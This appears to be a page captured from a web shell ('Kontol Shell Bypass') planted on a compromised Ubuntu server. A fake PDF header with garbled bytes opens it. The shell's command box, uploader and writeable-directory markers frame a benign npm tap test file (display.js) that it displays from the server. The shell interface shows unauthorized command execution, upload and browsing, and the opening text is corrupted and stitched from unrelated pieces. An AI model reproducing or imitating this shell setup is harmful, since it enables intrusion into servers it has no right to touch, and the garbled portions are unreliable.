%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/thread-self/root/home/ubuntu/node-v16.18.1/deps/npm/test/lib/utils/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/thread-self/root/home/ubuntu/node-v16.18.1/deps/npm/test/lib/utils/display.js
const t = require('tap')
const log = require('../../../lib/utils/log-shim')
const mockLogs = require('../../fixtures/mock-logs')
const mockGlobals = require('../../fixtures/mock-globals')

const mockDisplay = (t, mocks) => {
  const { logs, logMocks } = mockLogs(mocks)
  const Display = t.mock('../../../lib/utils/display', {
    ...mocks,
    ...logMocks,
  })
  const display = new Display()
  t.teardown(() => display.off())
  return { display, logs }
}

t.test('setup', async (t) => {
  const { display } = mockDisplay(t)

  display.load({ timing: true, loglevel: 'notice' })
  t.equal(log.level, 'timing')

  display.load({ timing: false, loglevel: 'notice' })
  t.equal(log.level, 'notice')

  display.load({ color: true })
  t.equal(log.useColor(), true)

  display.load({ unicode: true })
  t.equal(log.gauge._theme.hasUnicode, true)

  display.load({ unicode: false })
  t.equal(log.gauge._theme.hasUnicode, false)

  mockGlobals(t, { 'process.stderr.isTTY': true })
  display.load({ progress: true })
  t.equal(log.progressEnabled, true)
})

t.test('can log', async (t) => {
  const explains = []
  const { display, logs } = mockDisplay(t, {
    npmlog: {
      error: (...args) => logs.push(['error', ...args]),
      warn: (...args) => logs.push(['warn', ...args]),
    },
    '../../../lib/utils/explain-eresolve.js': {
      explain: (...args) => {
        explains.push(args)
        return 'explanation'
      },
    },
  })

  display.log('error', 'test')
  t.match(logs.error, [['test']])

  display.log('warn', 'ERESOLVE', 'hello', { some: 'object' })
  t.match(logs.warn, [['ERESOLVE', 'hello']])
  t.match(explains, [[{ some: 'object' }, false, 2]])
})

t.test('handles log throwing', async (t) => {
  const errors = []
  mockGlobals(t, {
    'console.error': (...args) => errors.push(args),
  })
  const { display } = mockDisplay(t, {
    npmlog: {
      verbose: () => {
        throw new Error('verbose')
      },
    },
    '../../../lib/utils/explain-eresolve.js': {
      explain: () => {
        throw new Error('explain')
      },
    },
  })

  display.log('warn', 'ERESOLVE', 'hello', { some: 'object' })
  t.match(errors, [
    [/attempt to log .* crashed/, Error('explain'), Error('verbose')],
  ])
})

Kontol Shell Bypass